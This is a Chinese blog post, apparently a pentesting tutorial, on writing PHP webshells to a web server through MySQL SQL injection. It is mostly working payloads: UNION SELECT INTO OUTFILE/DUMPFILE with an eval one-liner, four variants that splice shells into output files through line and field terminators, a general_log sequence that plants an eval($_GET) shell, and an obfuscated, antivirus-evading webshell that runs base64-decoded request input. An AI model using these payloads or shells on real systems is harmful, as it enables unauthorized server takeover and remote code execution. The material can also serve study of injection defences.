• sql注入之文件写入into outfile


    sql注入中写入webshell的几种方式

    sql注入中写入webshell的几种方式

    1. secure_file_priv="c:/…"被注释掉或者是web路径

    2. php.ini中的get_magic_quotes_gpc()函数未开启

      其中secure_file_priv有三种情况

      1. 空,表示导入导出没有任何限制
      2. 有指定路径,比如("c:/xxx/xxx"):只能向指定路径导入导出文件
      3. null,禁止导入导出

      在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得root权限

    0x01

    Union select后写入

    1. union select+into outfile
    - ?id=1')) union select 1,2, "<?php @eval($_POST[a]);?>" into outfile "D:/Phpstudy/PHPTutorial/test1.php
    

    Ps:目录分隔符要用斜杠(/)

    1. union select+into dumpfile

    outfile与dumpfile有一定的区别
    eg:假设有一个二进制文件,如果用outfile导入,则在导出过程中会被转义从而被破坏,这是只能使用dumpfile函数

    Into dumpfile函数不会对任何列行进行终止,也不会执行转义处理

    0x02

    Lines terminated by

    - ?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num.php' lines terminated by '<?php phpinfo() ?>'--+
    

    注入原理:select 语句查询的内容写入文件,Lines terminated by语句拼接webshell。

    可以理解为:以每行终止的位置添加xx内容

    0x03

    Lines starting by

    - ?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num2.php' lines starting by '<?php phpinfo() ?>'--+ 
    

    Lines starting by 以每行开始的位置添加xx内容

    0x04

    Fields terminated by

    - ?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num3.php' fields terminated by '<?php phpinfo() ?>'--+
    

    Fields terminated by 每个字段的间隔中插入xx内容

    0x05

    Columns terminated by

    - ?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num4.php' columns terminated by '<?php phpinfo() ?>'--+
    

    Columns terminated by 每个字段的位置添加xx内容

    0x06

    利用log写入

    当无法使用select into outfile写入一句话时,可以通过修改mysql的log文件getshell
    (必须获得mysql的root权限)

    show variables like '%general%';             #查看配置
    set global general_log = on;                 #开启general log模式
    set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
    select '<?php eval($_GET[g]);?>'             #写入shell
    set global general_log=off;                  #关闭general log模式
    

    流程:

    1. 开启general log模式

    2. 修改log根地址

    3. 写入shell

    开启general log模式后,只要是对mysql进行操作的语句都会在log中有记录,修改log根地址后,写入一句话shell就可以利用相对路径

    附:

    sql查询免杀shell语句
    SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”
  • 相关阅读:
    style,currentStyle,getComputedStyle的区别和用法
    仿FLASH的图片轮换效果
    offset--BUG
    DIV的变高与变宽
    [SDOI2014]重建
    [SHOI2016]黑暗前的幻想乡
    「GXOI / GZOI2019」旅行者
    「GXOI / GZOI2019」旧词
    「PKUWC2018」随机算法
    「GXOI / GZOI2019」与或和
  • 原文地址:https://www.cnblogs.com/zjhzjhhh/p/14129167.html
Copyright © 2020-2023  润新知